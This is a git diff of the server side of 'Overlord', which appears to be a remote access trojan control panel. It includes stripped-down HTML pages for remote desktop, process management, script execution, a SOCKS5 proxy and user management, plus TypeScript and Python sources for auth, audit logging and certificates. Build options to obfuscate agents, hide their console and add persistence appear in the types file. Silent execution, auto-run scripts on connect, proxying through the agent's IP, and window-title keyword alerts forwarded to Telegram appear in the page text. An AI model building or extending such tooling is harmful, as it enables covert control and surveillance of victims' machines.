
+ Track first connects, reconnects, uninstalls, and disconnects. +

+
+
+ Updated: Never +
+
+ +
+
+
+ + +
+
+ + +
+
+ + +
+
+ +
+
+ +
+ + + + +
+
+ +
+
+ +
+ +
Page 1
+ +
+
+
+
+ + + + + diff --git a/Overlord-Server/public/metrics.html b/Overlord-Server/public/metrics.html new file mode 100644 index 0000000..086abbd --- /dev/null +++ b/Overlord-Server/public/metrics.html @@ -0,0 +1,310 @@ + + + + + + Metrics - Overlord + + + + + + + + + + + + + + + +
+ +
+
+ +
+
+

Metrics Dashboard

+

+ Real-time server statistics and performance +

+
+
+ + + Live + + Updated: Never +
+
+ + +
+ +
+
+ Clients Online + +
+
0
+
+ 0 total +
+
+ + +
+
+ Active Sessions + +
+
0
+
+ Console, RD, Files, Processes +
+
+ + +
+
+ Commands/Hour + +
+
0
+
+ 0/min • + 0 total +
+
+ + +
+
+ Bandwidth + +
+
0 KB/s
+
+ ↑ 0 MB • ↓ + 0 MB +
+
+
+ + +
+ +
+

+ + Clients Over Time +

+
+ +
+
+ + +
+

+ + Commands Per Minute +

+
+ +
+
+
+ + +
+ +
+

+ + Server +

+
+
+ Uptime: + 0s +
+
+ Heap Used: + 0 MB +
+
+ RSS: + 0 MB +
+
+ System Memory: + 0 MB +
+
+ CPU Load: + 0.00 / 0.00 / 0.00 +
+
+ Total Connections: + 0 +
+
+
+ + +
+

+ + Ping Statistics +

+
+
+ Average: + - +
+
+ Min / Max: + - / + - +
+
+ Samples: + 0 +
+
+
+ + +
+

+ + HTTP & Event Loop +

+
+
+ Requests/min: + 0 +
+
+ Errors/min: + 0 +
+
+ Latency avg/p95: + + 0 / + 0 + +
+
+ Loop lag avg/p95: + + 0 / + 0 + +
+
+ Loop lag max: + 0 +
+
+
+ + +
+

+ + Clients by OS +

+
+
No data
+
+
+
+ + +
+
+

+ + Client Geography Map +

+
Darker = more clients
+
+
+
+
+
+ Data is based on IP geo lookup and client-reported country. +
+
+ + +
+

+ + Command Types +

+
+
+ No commands executed yet +
+
+
+
+
+ + + + + + diff --git a/Overlord-Server/public/notifications.html b/Overlord-Server/public/notifications.html new file mode 100644 index 0000000..e33ff48 --- /dev/null +++ b/Overlord-Server/public/notifications.html @@ -0,0 +1,193 @@ + + + + + + Notifications - Overlord + + + + + + + + + + + +
+ +
+
+
+
+

Notifications

+

+ Active window alerts based on configured title keywords +

+
+
+ + + Connecting... + +
+
+ +
+
+
+

Keyword Configuration

+

+ One keyword per line. Changes apply to connected agents immediately. +

+
+ +
+ +
+
+ +
+
+
+

Webhook

+

+ Send each notification to an external webhook URL. +

+
+ +
+ + +
+ Payload: { type: "notification", data: { ... } } +
+
+ +
+
+
+

Telegram Bot

+

+ Send each notification to a Telegram chat via bot. +

+
+ +
+ + + +
+ +
+
+

Notifications

+
+
+ + + + + + + + + + + + + +
TimeClientUserWindow TitleProcessKeywordPreview
+
+
+ No notifications yet. +
+
+ + + +
+
+ + + + + diff --git a/Overlord-Server/public/plugins.html b/Overlord-Server/public/plugins.html new file mode 100644 index 0000000..06506cf --- /dev/null +++ b/Overlord-Server/public/plugins.html @@ -0,0 +1,71 @@ + + + + + + Overlord Plugins + + + + + + + + +
+
+
+
+

Plugins

+

Upload zip bundles and manage plugin UI

+
+ +
+
+
+

Upload

+

Drag a plugin zip here or click to browse

+
+ +
+
+ Drop plugin zip here +
+
+
+ +
+
+

Installed plugins

+ +
+
+
+
+
+ + + + diff --git a/Overlord-Server/public/processes.html b/Overlord-Server/public/processes.html new file mode 100644 index 0000000..e5f96ce --- /dev/null +++ b/Overlord-Server/public/processes.html @@ -0,0 +1,247 @@ + + + + + + Process Manager - Overlord + + + + + + + + + + +
+ +
+
+ +
+
+ + Connecting... + + + + Loading client... + + + 0 processes + +
+
+ + +
+
+ + +
+ + +
+ + +
+ Process Types: +
+ + System +
+
+ + Service +
+
+ + Own +
+
+ + Other +
+
+ + +
+
+
+ PID +
+
+ Name +
+
+ CPU % +
+
+ Memory +
+
User
+
+
+ +
+
+
+
+ + + + + diff --git a/Overlord-Server/public/proxy.html b/Overlord-Server/public/proxy.html new file mode 100644 index 0000000..93c4b7c --- /dev/null +++ b/Overlord-Server/public/proxy.html @@ -0,0 +1,179 @@ + + + + + + SOCKS5 Proxy - Overlord + + + + + + +
+ +
+
+ +
+
+
+ + SOCKS5 Proxy + Connecting +
+
+ Client: + - +
+
+
+ + +
+ +
+

+ + Control Panel +

+ +
+
+ + +

+ The SOCKS5 proxy will listen on localhost at this port on the agent machine +

+
+ +
+ + +
+ + +
+
+ + +
+

+ + How to Use +

+ +
+
+

+ + Start the Proxy +

+

+ Click "Start Proxy" to launch a SOCKS5 proxy server on the agent machine. The proxy will listen on localhost (127.0.0.1) at the specified port. +

+
+ +
+

+ + Configure Your Applications +

+

+ Configure your browser or applications on the agent machine to use the SOCKS5 proxy at 127.0.0.1:[port]. This will route traffic through the agent's network. +

+
+ +
+

+ + Use Your Agent's IP +

+

+ All traffic routed through the proxy will appear to originate from the agent's IP address and network location. +

+
+ +
+
+ +
+

Note

+

+ The proxy runs directly on the agent machine. You need to configure applications on that machine to use it, or set up port forwarding/tunneling to access it remotely. +

+
+
+
+
+
+
+ + +
+

+ + Activity Log +

+
+
Waiting for connection...
+
+
+
+
+ + + + + + diff --git a/Overlord-Server/public/remotedesktop.html b/Overlord-Server/public/remotedesktop.html new file mode 100644 index 0000000..f6df446 --- /dev/null +++ b/Overlord-Server/public/remotedesktop.html @@ -0,0 +1,184 @@ + + + + + + Overlord Remote Desktop + + + + + + + + + + +
+ +
+
+
+
+ + + +
+
+ + + 95% +
+
+ + + +
+
+ + Connecting +
+
+ fps + -- + → + -- +
+
+ input + -- ms +
+
+ + + + + +
+
+ +
+
+ Client: - +
+
+ +
+
+ +
+
+ + + + + + diff --git a/Overlord-Server/public/scripts.html b/Overlord-Server/public/scripts.html new file mode 100644 index 0000000..f3f022a --- /dev/null +++ b/Overlord-Server/public/scripts.html @@ -0,0 +1,272 @@ + + + + + + Script Execution - Overlord + + + + + + + + + + +
+ +
+
+ +
+
+
+

Select Target Clients

+
+ 0 selected + +
+
+ + +
+
+ + +
+ + +
+ + +
+
Loading clients...
+
+
+
+ + +
+
+
+

Script Editor

+
+ + +
+
+ +
+
+ + +
+
+

Saved Scripts

+
+ + +
+
+
No saved scripts yet.
+
+
+ +
+

Auto Tasks

+

+ Automatically execute the current editor script when clients connect. Use with care. +

+ +
+ + + + +
+ + +
+
+ +
+
Active Auto Tasks
+
+
Loading auto tasks...
+
+
+
+ +
+

Script Templates

+
+ + + + + +
+
+
+ + +
+
+
+

Output

+ +
+
+
+ No output yet. Execute a script to see results. +
+
+
+
+
+
+ + + + + + + + + diff --git a/Overlord-Server/public/users.html b/Overlord-Server/public/users.html new file mode 100644 index 0000000..d4cd78e --- /dev/null +++ b/Overlord-Server/public/users.html @@ -0,0 +1,199 @@ + + + + + + User Management - Overlord + + + + + + + +
+ +
+ +
+ +
+
+

Users

+

Manage user accounts and roles

+
+ +
+ + +
+ + + + + + + + + + + + + + + + +
+ Username + + Role + + Created + + Last Login + + Created By + + Actions +
+ Loading + users... +
+
+
+
+ + + + + + + + diff --git a/Overlord-Server/scripts/seed_fake_clients.py b/Overlord-Server/scripts/seed_fake_clients.py new file mode 100644 index 0000000..1edbb8e --- /dev/null +++ b/Overlord-Server/scripts/seed_fake_clients.py @@ -0,0 +1,186 @@ +import argparse +import os +import random +import sqlite3 +import string +import time +import uuid +from typing import Iterable, Tuple + +SCHEMA = """ +CREATE TABLE IF NOT EXISTS clients ( + id TEXT PRIMARY KEY, + hwid TEXT, + role TEXT, + host TEXT, + os TEXT, + arch TEXT, + version TEXT, + user TEXT, + monitors INTEGER, + country TEXT, + last_seen INTEGER, + online INTEGER, + ping_ms INTEGER +); +""" + +ROLES = ["client", "viewer"] +OSES = ["windows", "linux", "darwin", "ubuntu", "debian", "arch", "kali", "fedora"] +ARCHES = ["amd64", "arm64", "x86", "arm"] +COUNTRIES = [ + "US", + "GB", + "DE", + "FR", + "ES", + "CA", + "AU", + "IN", + "BR", + "ZA", + "JP", + "KR", + "CN", + "SG", + "SE", + "NO", + "DK", + "FI", + "PL", + "MX", +] + + +def random_host() -> str: + prefix = random.choice(["desk", "laptop", "vm", "srv", "pc"]) + suffix = "".join(random.choices(string.ascii_lowercase + string.digits, k=6)) + return f"{prefix}-{suffix}" + + +def random_user() -> str: + first = random.choice( + ["alice", "bob", "carol", "dave", "erin", "frank", "grace", "heidi"] + ) + num = random.randint(1, 9999) + return f"{first}{num}" + + +def random_version() -> str: + return f"{random.randint(0, 5)}.{random.randint(0, 20)}.{random.randint(0, 9)}" + + +def random_row(now_ms: int, online_rate: float) -> Tuple: + client_id = uuid.uuid4().hex + hwid = uuid.uuid4().hex + role = random.choice(ROLES) + host = random_host() + os_name = random.choice(OSES) + arch = random.choice(ARCHES) + version = random_version() + user = random_user() + monitors = random.randint(1, 3) + country = random.choice(COUNTRIES) + last_seen = now_ms - random.randint(0, 7 * 24 * 60 * 60 * 1000) + online = 1 if random.random() < online_rate else 0 + ping_ms = random.choice([None, random.randint(10, 400), random.randint(400, 2000)]) + return ( + client_id, + hwid, + role, + host, + os_name, + arch, + version, + user, + monitors, + country, + last_seen, + online, + ping_ms, + ) + + +def batched_rows( + count: int, batch_size: int = 500, online_rate: float = 0.6 +) -> Iterable[Tuple[Tuple, ...]]: + now_ms = int(time.time() * 1000) + batch = [] + for _ in range(count): + batch.append(random_row(now_ms, online_rate)) + if len(batch) >= batch_size: + yield tuple(batch) + batch = [] + if batch: + yield tuple(batch) + + +def ensure_schema(conn: sqlite3.Connection) -> None: + conn.execute(SCHEMA) + + +def seed(db_path: str, count: int, truncate: bool, online_rate: float) -> None: + conn = sqlite3.connect(db_path) + try: + ensure_schema(conn) + if truncate: + conn.execute("DELETE FROM clients") + conn.commit() + sql = ( + "INSERT INTO clients (id, hwid, role, host, os, arch, version, user, monitors, country, last_seen, online, ping_ms) " + "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)" + ) + total = 0 + for batch in batched_rows(count, online_rate=online_rate): + conn.executemany(sql, batch) + conn.commit() + total += len(batch) + print(f"Inserted {total}/{count}...") + print(f"Done. Inserted {total} rows into {db_path}") + finally: + conn.close() + + +def resolve_default_db() -> str: + data_dir = os.getenv("DATA_DIR", "").strip() + if not data_dir: + if os.name == "nt" and os.getenv("APPDATA"): + data_dir = os.path.join(os.environ["APPDATA"], "Overlord") + else: + data_dir = "./data" + return os.path.abspath(os.path.join(data_dir, "overlord.db")) + + +def main() -> None: + parser = argparse.ArgumentParser( + description="Seed fake clients into overlord.db for load testing." + ) + parser.add_argument( + "--db", + default=resolve_default_db(), + help="Path to overlord.db (default follows server logic: DATA_DIR, then APPDATA/Overlord on Windows, else ./data)", + ) + parser.add_argument( + "--count", + type=int, + default=100000, + help="How many rows to insert (default: 10000)", + ) + parser.add_argument( + "--truncate", action="store_true", help="Delete existing rows before seeding" + ) + parser.add_argument( + "--online-rate", + type=float, + default=0.6, + help="Probability a seeded client is online (0-1, default: 0.6)", + ) + args = parser.parse_args() + + db_path = os.path.abspath(args.db) + print(f"Seeding {args.count} clients into {db_path} (truncate={args.truncate})") + seed(db_path, args.count, args.truncate, args.online_rate) + + +if __name__ == "__main__": + main() diff --git a/Overlord-Server/src/adm-zip.d.ts b/Overlord-Server/src/adm-zip.d.ts new file mode 100644 index 0000000..43087dd --- /dev/null +++ b/Overlord-Server/src/adm-zip.d.ts @@ -0,0 +1,12 @@ +declare module "adm-zip" { + class AdmZip { + constructor(input?: string | Buffer); + getEntries(): Array<{ + isDirectory: boolean; + entryName: string; + getData(): Buffer; + }>; + } + + export = AdmZip; +} diff --git a/Overlord-Server/src/auditLog.ts b/Overlord-Server/src/auditLog.ts new file mode 100644 index 0000000..a2bee8e --- /dev/null +++ b/Overlord-Server/src/auditLog.ts @@ -0,0 +1,338 @@ +import Database from "bun:sqlite"; +import { resolve } from "path"; +import { ensureDataDir } from "./paths"; + +const dataDir = ensureDataDir(); +const dbPath = resolve(dataDir, "overlord.db"); +const db = new Database(dbPath); + +const auditQueue: AuditLogEntry[] = []; +const BATCH_SIZE = 50; +const BATCH_INTERVAL_MS = 1000; +let flushTimeout: Timer | null = null; + +const VERBOSE_AUDIT = process.env.VERBOSE_AUDIT === "true"; + +db.run(` + CREATE TABLE IF NOT EXISTS audit_logs ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp INTEGER NOT NULL, + username TEXT NOT NULL, + ip TEXT NOT NULL, + action TEXT NOT NULL, + target_client_id TEXT, + details TEXT, + success INTEGER NOT NULL, + error_message TEXT + ); +`); + +db.run( + `CREATE INDEX IF NOT EXISTS idx_audit_timestamp ON audit_logs(timestamp DESC);`, +); +db.run( + `CREATE INDEX IF NOT EXISTS idx_audit_username ON audit_logs(username);`, +); +db.run(`CREATE INDEX IF NOT EXISTS idx_audit_action ON audit_logs(action);`); + +export enum AuditAction { + CLIENT_FIRST_CONNECT = "client_first_connect", + CLIENT_RECONNECT = "client_reconnect", + CLIENT_DISCONNECT = "client_disconnect", + LOGIN = "login", + LOGOUT = "logout", + LOGIN_FAILED = "login_failed", + COMMAND = "command", + FILE_DOWNLOAD = "file_download", + FILE_UPLOAD = "file_upload", + FILE_DELETE = "file_delete", + FILE_LIST = "file_list", + FILE_MKDIR = "file_mkdir", + FILE_READ = "file_read", + FILE_WRITE = "file_write", + FILE_SEARCH = "file_search", + FILE_COPY = "file_copy", + FILE_MOVE = "file_move", + FILE_CHMOD = "file_chmod", + FILE_EXECUTE = "file_execute", + FILE_ZIP = "file_zip", + CONSOLE_START = "console_start", + CONSOLE_STOP = "console_stop", + CONSOLE_INPUT = "console_input", + DESKTOP_START = "desktop_start", + DESKTOP_STOP = "desktop_stop", + DESKTOP_MOUSE = "desktop_mouse", + DESKTOP_KEYBOARD = "desktop_keyboard", + PROCESS_LIST = "process_list", + PROCESS_KILL = "process_kill", + SCREENSHOT = "screenshot", + DISCONNECT = "disconnect", + RECONNECT = "reconnect", + UNINSTALL = "uninstall", + AGENT_UPDATE = "agent_update", + SCRIPT_EXECUTE = "script_execute", + SILENT_EXECUTE = "silent_execute", +} + +export interface AuditLogEntry { + id?: number; + timestamp: number; + username: string; + ip: string; + action: AuditAction | string; + targetClientId?: string; + details?: string; + success: boolean; + errorMessage?: string; +} + +export interface AuditLogFilters { + page?: number; + pageSize?: number; + username?: string; + action?: string; + actions?: string[]; + targetClientId?: string; + startDate?: number; + endDate?: number; + successOnly?: boolean; +} + +export function logAudit(entry: AuditLogEntry): void { + auditQueue.push(entry); + + if (VERBOSE_AUDIT) { + const status = entry.success ? "✓" : "✗"; + const target = entry.targetClientId + ? ` [client: ${entry.targetClientId.substring(0, 8)}...]` + : ""; + console.log( + `[audit] ${status} ${entry.username}@${entry.ip} - ${entry.action}${target}`, + ); + } + + if (auditQueue.length >= BATCH_SIZE) { + flushAuditLogs(); + } else if (!flushTimeout) { + flushTimeout = setTimeout(flushAuditLogs, BATCH_INTERVAL_MS); + } +} + +function flushAuditLogs(): void { + if (flushTimeout) { + clearTimeout(flushTimeout); + flushTimeout = null; + } + + if (auditQueue.length === 0) return; + + const logsToWrite = auditQueue.splice(0, auditQueue.length); + + try { + const insert = db.prepare( + `INSERT INTO audit_logs (timestamp, username, ip, action, target_client_id, details, success, error_message) + VALUES (?, ?, ?, ?, ?, ?, ?, ?)`, + ); + + const transaction = db.transaction((logs: AuditLogEntry[]) => { + for (const entry of logs) { + insert.run( + entry.timestamp, + entry.username, + entry.ip, + entry.action, + entry.targetClientId || null, + entry.details || null, + entry.success ? 1 : 0, + entry.errorMessage || null, + ); + } + }); + + transaction(logsToWrite); + } catch (error) { + console.error( + `[audit] Failed to flush ${logsToWrite.length} audit entries:`, + error, + ); + } +} + +export function flushAuditLogsSync(): void { + flushAuditLogs(); +} + +export function getAuditLogs(filters: AuditLogFilters = {}): { + logs: AuditLogEntry[]; + total: number; + page: number; + pageSize: number; +} { + const page = filters.page || 1; + const pageSize = filters.pageSize || 50; + const offset = (page - 1) * pageSize; + + const where: string[] = []; + const params: any[] = []; + + if (filters.username) { + where.push("username = ?"); + params.push(filters.username); + } + + if (filters.action) { + where.push("action = ?"); + params.push(filters.action); + } + + if (filters.actions && filters.actions.length > 0) { + const placeholders = filters.actions.map(() => "?").join(", "); + where.push(`action IN (${placeholders})`); + params.push(...filters.actions); + } + + if (filters.targetClientId) { + where.push("target_client_id = ?"); + params.push(filters.targetClientId); + } + + if (filters.startDate) { + where.push("timestamp >= ?"); + params.push(filters.startDate); + } + + if (filters.endDate) { + where.push("timestamp <= ?"); + params.push(filters.endDate); + } + + if (filters.successOnly) { + where.push("success = 1"); + } + + const whereSql = where.length ? `WHERE ${where.join(" AND ")}` : ""; + + const countQuery = `SELECT COUNT(*) as total FROM audit_logs ${whereSql}`; + const countResult = db.query(countQuery).get(...params) as { total: number }; + const total = countResult?.total || 0; + + const logsQuery = ` + SELECT id, timestamp, username, ip, action, target_client_id, details, success, error_message + FROM audit_logs + ${whereSql} + ORDER BY timestamp DESC + LIMIT ? OFFSET ? + `; + + const logs = db.query(logsQuery).all(...params, pageSize, offset) as any[]; + + return { + logs: logs.map((row) => ({ + id: row.id, + timestamp: row.timestamp, + username: row.username, + ip: row.ip, + action: row.action, + targetClientId: row.target_client_id || undefined, + details: row.details || undefined, + success: row.success === 1, + errorMessage: row.error_message || undefined, + })), + total, + page, + pageSize, + }; +} + +export function getAuditStats(): { + totalLogs: number; + last24h: number; + failedLogins: number; + topUsers: Array<{ username: string; count: number }>; + topActions: Array<{ action: string; count: number }>; +} { + const now = Date.now(); + const yesterday = now - 24 * 60 * 60 * 1000; + + const totalLogs = ( + db.query("SELECT COUNT(*) as count FROM audit_logs").get() as any + ).count; + const last24h = ( + db + .query("SELECT COUNT(*) as count FROM audit_logs WHERE timestamp >= ?") + .get(yesterday) as any + ).count; + const failedLogins = ( + db + .query( + "SELECT COUNT(*) as count FROM audit_logs WHERE action = ? AND success = 0", + ) + .get(AuditAction.LOGIN_FAILED) as any + ).count; + + const topUsers = db + .query( + ` + SELECT username, COUNT(*) as count + FROM audit_logs + WHERE timestamp >= ? + GROUP BY username + ORDER BY count DESC + LIMIT 5 + `, + ) + .all(yesterday) as Array<{ username: string; count: number }>; + + const topActions = db + .query( + ` + SELECT action, COUNT(*) as count + FROM audit_logs + WHERE timestamp >= ? + GROUP BY action + ORDER BY count DESC + LIMIT 10 + `, + ) + .all(yesterday) as Array<{ action: string; count: number }>; + + return { + totalLogs, + last24h, + failedLogins, + topUsers, + topActions, + }; +} + +export function cleanupOldAuditLogs(daysToKeep: number = 90): number { + const cutoffTime = Date.now() - daysToKeep * 24 * 60 * 60 * 1000; + const result = db.run("DELETE FROM audit_logs WHERE timestamp < ?", [ + cutoffTime, + ]); + const deleted = result.changes; + + if (deleted > 0) { + console.log( + `[audit] Cleaned up ${deleted} audit logs older than ${daysToKeep} days`, + ); + } + + return deleted; +} + +process.on("beforeExit", () => { + flushAuditLogs(); +}); + +process.on("SIGINT", () => { + flushAuditLogs(); + process.exit(0); +}); + +process.on("SIGTERM", () => { + flushAuditLogs(); + process.exit(0); +}); + +console.log("[audit] Audit logging system initialized"); diff --git a/Overlord-Server/src/auth.test.ts b/Overlord-Server/src/auth.test.ts new file mode 100644 index 0000000..9c9c65b --- /dev/null +++ b/Overlord-Server/src/auth.test.ts @@ -0,0 +1,18 @@ +import { describe, expect, test } from "bun:test"; +import { extractTokenFromCookie, extractTokenFromHeader } from "./auth"; + +describe("auth token extraction", () => { + test("extractTokenFromHeader returns bearer token", () => { + expect(extractTokenFromHeader("Bearer abc123")).toBe("abc123"); + expect(extractTokenFromHeader("Basic abc123")).toBeNull(); + }); + + test("extractTokenFromCookie finds overlord_token", () => { + const cookie = "other=1; overlord_token=token123; theme=dark"; + expect(extractTokenFromCookie(cookie)).toBe("token123"); + }); + + test("extractTokenFromCookie returns null when missing", () => { + expect(extractTokenFromCookie("foo=bar")).toBeNull(); + }); +}); diff --git a/Overlord-Server/src/auth.ts b/Overlord-Server/src/auth.ts new file mode 100644 index 0000000..4f4f04c --- /dev/null +++ b/Overlord-Server/src/auth.ts @@ -0,0 +1,226 @@ +import { SignJWT, jwtVerify } from "jose"; +import { getConfig } from "./config"; +import { + verifyPassword, + getUserByUsername, + getUserById, + type User, + type UserRole, +} from "./users"; + +const JWT_ISSUER = "overlord-server"; +const JWT_AUDIENCE = "overlord-client"; +const JWT_EXPIRATION = "7d"; + +const tokenBlacklist = new Set(); + +const tokenCache = new Map< + string, + { payload: JWTPayload; timestamp: number } +>(); +const TOKEN_CACHE_TTL = 5000; + +function getSecretKey(): Uint8Array { + const config = getConfig(); + return new TextEncoder().encode(config.auth.jwtSecret); +} + +export interface JWTPayload { + sub: string; + userId: number; + role: UserRole; + iat: number; + exp: number; + iss: string; + aud: string; +} + +export interface AuthenticatedUser { + username: string; + userId: number; + role: UserRole; +} + +export async function generateToken(user: User): Promise { + const token = await new SignJWT({ + sub: user.username, + userId: user.id, + role: user.role, + }) + .setProtectedHeader({ alg: "HS256" }) + .setIssuedAt() + .setIssuer(JWT_ISSUER) + .setAudience(JWT_AUDIENCE) + .setExpirationTime(JWT_EXPIRATION) + .sign(getSecretKey()); + + return token; +} + +export async function verifyToken(token: string): Promise { + if (tokenBlacklist.has(token)) { + return null; + } + + const cached = tokenCache.get(token); + if (cached) { + const age = Date.now() - cached.timestamp; + if (age < TOKEN_CACHE_TTL) { + return cached.payload; + } else { + tokenCache.delete(token); + } + } + + try { + const { payload } = await jwtVerify(token, getSecretKey(), { + issuer: JWT_ISSUER, + audience: JWT_AUDIENCE, + }); + + const jwtPayload: JWTPayload = { + sub: payload.sub as string, + userId: payload.userId as number, + role: payload.role as UserRole, + iat: payload.iat as number, + exp: payload.exp as number, + iss: payload.iss as string, + aud: payload.aud as string, + }; + + tokenCache.set(token, { payload: jwtPayload, timestamp: Date.now() }); + + return jwtPayload; + } catch (error) { + return null; + } +} + +export function revokeToken(token: string): void { + tokenBlacklist.add(token); + tokenCache.delete(token); + console.log("[auth] Token revoked"); +} + +export async function cleanupBlacklist(): Promise { + const now = Math.floor(Date.now() / 1000); + let cleaned = 0; + + for (const token of tokenBlacklist) { + try { + const { payload } = await jwtVerify(token, getSecretKey(), { + issuer: JWT_ISSUER, + audience: JWT_AUDIENCE, + }); + + if (payload.exp && payload.exp < now) { + tokenBlacklist.delete(token); + cleaned++; + } + } catch { + tokenBlacklist.delete(token); + cleaned++; + } + } + + const cacheNow = Date.now(); + let cacheCleared = 0; + for (const [token, entry] of tokenCache.entries()) { + if (cacheNow - entry.timestamp > TOKEN_CACHE_TTL * 2) { + tokenCache.delete(token); + cacheCleared++; + } + } + + if (cleaned > 0 || cacheCleared > 0) { + console.log( + `[auth] Cleaned up ${cleaned} expired tokens from blacklist, ${cacheCleared} from cache`, + ); + } +} + +setInterval(cleanupBlacklist, 60 * 60 * 1000); + +export async function authenticateUser( + username: string, + password: string, +): Promise { + return await verifyPassword(username, password); +} + +export function extractTokenFromHeader( + authHeader: string | null, +): string | null { + if (!authHeader || !authHeader.startsWith("Bearer ")) { + return null; + } + return authHeader.substring(7); +} + +export function extractTokenFromCookie( + cookieHeader: string | null, +): string | null { + if (!cookieHeader) { + return null; + } + + const cookies = cookieHeader.split(/;\s*/); + for (const cookie of cookies) { + const [name, value] = cookie.split("="); + if (name === "overlord_token") { + return value; + } + } + + return null; +} + +export async function authenticateRequest( + req: Request, +): Promise { + const authHeader = req.headers.get("Authorization"); + let token = extractTokenFromHeader(authHeader); + + if (!token) { + const cookieHeader = req.headers.get("Cookie"); + token = extractTokenFromCookie(cookieHeader); + } + + if (!token) { + return null; + } + + const payload = await verifyToken(token); + if (!payload) { + return null; + } + + const user = getUserById(payload.userId); + if (!user) { + return null; + } + + return { + username: payload.sub, + userId: payload.userId, + role: payload.role, + }; +} + +export async function getUserFromRequest( + req: Request, +): Promise { + return await authenticateRequest(req); +} + +export function extractTokenFromRequest(req: Request): string | null { + const authHeader = req.headers.get("Authorization"); + let token = extractTokenFromHeader(authHeader); + + if (!token) { + const cookieHeader = req.headers.get("Cookie"); + token = extractTokenFromCookie(cookieHeader); + } + + return token; +} diff --git a/Overlord-Server/src/build/buildManager.ts b/Overlord-Server/src/build/buildManager.ts new file mode 100644 index 0000000..339f287 --- /dev/null +++ b/Overlord-Server/src/build/buildManager.ts @@ -0,0 +1,23 @@ +import type { BuildStream } from "./types"; + +const activeBuildStreams = new Map(); + +export function addBuildStream(id: string, build: BuildStream): void { + activeBuildStreams.set(id, build); +} + +export function getBuildStream(id: string): BuildStream | undefined { + return activeBuildStreams.get(id); +} + +export function deleteBuildStream(id: string): boolean { + return activeBuildStreams.delete(id); +} + +export function getAllBuildStreams(): Map { + return activeBuildStreams; +} + +export function hasBuildStream(id: string): boolean { + return activeBuildStreams.has(id); +} diff --git a/Overlord-Server/src/build/types.ts b/Overlord-Server/src/build/types.ts new file mode 100644 index 0000000..f4fff11 --- /dev/null +++ b/Overlord-Server/src/build/types.ts @@ -0,0 +1,23 @@ +export type BuildStream = { + id: string; + controllers: ReadableStreamDefaultController[]; + status: "running" | "completed" | "failed"; + startTime: number; + expiresAt: number; + files: { name: string; size: number; platform?: string }[]; + updates?: any[]; +}; + +export type BuildConfig = { + platforms: string[]; + serverUrl?: string; + rawServerList?: boolean; + mutex?: string; + disableMutex?: boolean; + stripDebug?: boolean; + disableCgo?: boolean; + obfuscate?: boolean; + enablePersistence?: boolean; + hideConsole?: boolean; + noPrinting?: boolean; +}; diff --git a/Overlord-Server/src/certGenerator.ts b/Overlord-Server/src/certGenerator.ts new file mode 100644 index 0000000..3aa588e --- /dev/null +++ b/Overlord-Server/src/certGenerator.ts @@ -0,0 +1,165 @@ +import { spawn } from "child_process"; +import { existsSync, mkdirSync } from "fs"; +import { dirname } from "path"; + +interface CertOptions { + certPath: string; + keyPath: string; + commonName?: string; + daysValid?: number; + additionalIPs?: string[]; +} + +export function certificatesExist(certPath: string, keyPath: string): boolean { + return existsSync(certPath) && existsSync(keyPath); +} + +export async function generateSelfSignedCert( + options: CertOptions, +): Promise { + const { + certPath, + keyPath, + commonName = "localhost", + daysValid = 3650, + additionalIPs = [], + } = options; + + const certDir = dirname(certPath); + if (!existsSync(certDir)) { + mkdirSync(certDir, { recursive: true }); + } + + console.log("[TLS] Generating self-signed certificate..."); + console.log(`[TLS] Common Name: ${commonName}`); + console.log(`[TLS] Valid for: ${daysValid} days`); + + const sanConfig = ` +[req] +default_bits = 2048 +prompt = no +default_md = sha256 +distinguished_name = dn +req_extensions = req_ext +x509_extensions = v3_ca + +[dn] +C=US +ST=State +L=City +O=Overlord +OU=IT +CN=${commonName} + +[req_ext] +subjectAltName = @alt_names + +[v3_ca] +subjectAltName = @alt_names +basicConstraints = CA:FALSE +keyUsage = nonRepudiation, digitalSignature, keyEncipherment +extendedKeyUsage = serverAuth + +[alt_names] +DNS.1 = ${commonName} +DNS.2 = localhost +DNS.3 = *.local +IP.1 = 127.0.0.1 +IP.2 = ::1 +${additionalIPs.map((ip, i) => `IP.${i + 3} = ${ip}`).join("\n")} +`; + + const configPath = `${certDir}/openssl.cnf`; + + try { + await Bun.write(configPath, sanConfig); + + await execCommand("openssl", [ + "req", + "-x509", + "-newkey", + "rsa:2048", + "-nodes", + "-keyout", + keyPath, + "-out", + certPath, + "-days", + daysValid.toString(), + "-config", + configPath, + ]); + + try { + await Bun.file(configPath) + .text() + .then(() => { + spawn("rm", ["-f", configPath]); + }); + } catch {} + + console.log(`[TLS] ✓ Certificate generated successfully`); + console.log(`[TLS] Certificate: ${certPath}`); + console.log(`[TLS] Private Key: ${keyPath}`); + } catch (error) { + console.error("[TLS] Failed to generate certificate:", error); + throw new Error(`Certificate generation failed: ${error}`); + } +} + +function execCommand(command: string, args: string[]): Promise { + return new Promise((resolve, reject) => { + const proc = spawn(command, args); + let stdout = ""; + let stderr = ""; + + proc.stdout?.on("data", (data) => { + stdout += data.toString(); + }); + + proc.stderr?.on("data", (data) => { + stderr += data.toString(); + }); + + proc.on("close", (code) => { + if (code === 0) { + resolve(stdout); + } else { + reject(new Error(`Command failed with code ${code}: ${stderr}`)); + } + }); + + proc.on("error", (err) => { + reject(new Error(`Failed to execute ${command}: ${err.message}`)); + }); + }); +} + +export async function isOpenSSLAvailable(): Promise { + try { + await execCommand("openssl", ["version"]); + return true; + } catch { + return false; + } +} + +export function getLocalIPs(): string[] { + try { + const os = require("os"); + const interfaces = os.networkInterfaces(); + const ips: string[] = []; + + for (const name of Object.keys(interfaces)) { + for (const iface of interfaces[name]) { + if (iface.family === "IPv4" && !iface.internal) { + ips.push(iface.address); + } + } + } + + return ips; + } catch { + return []; + } +} diff --git a/Overlord-Server/src/clientManager.ts b/Overlord-Server/src/clientManager.ts new file mode 100644 index 0000000..a64eb95 --- /dev/null +++ b/Overlord-Server/src/clientManager.ts @@ -0,0 +1,33 @@ +import type { ClientInfo } from "./types"; + +const clients = new Map(); + +export function addClient(id: string, info: ClientInfo): void { + clients.set(id, info); +} + +export function getClient(id: string): ClientInfo | undefined { + return clients.get(id); +} + +export function deleteClient(id: string): boolean { + return clients.delete(id); +} + +export function hasClient(id: string): boolean { + return clients.has(id); +} + +export function getAllClients(): Map { + return clients; +} + +export function getClientCount(): number { + return clients.size; +} + +export function getOnlineClients(): ClientInfo[] { + return Array.from(clients.values()).filter( + (c) => c.lastSeen && Date.now() - c.lastSeen < 60000, + ); +} diff --git a/Overlord-Server/src/config.ts b/Overlord-Server/src/config.ts new file mode 100644 index 0000000..99c3c60 --- 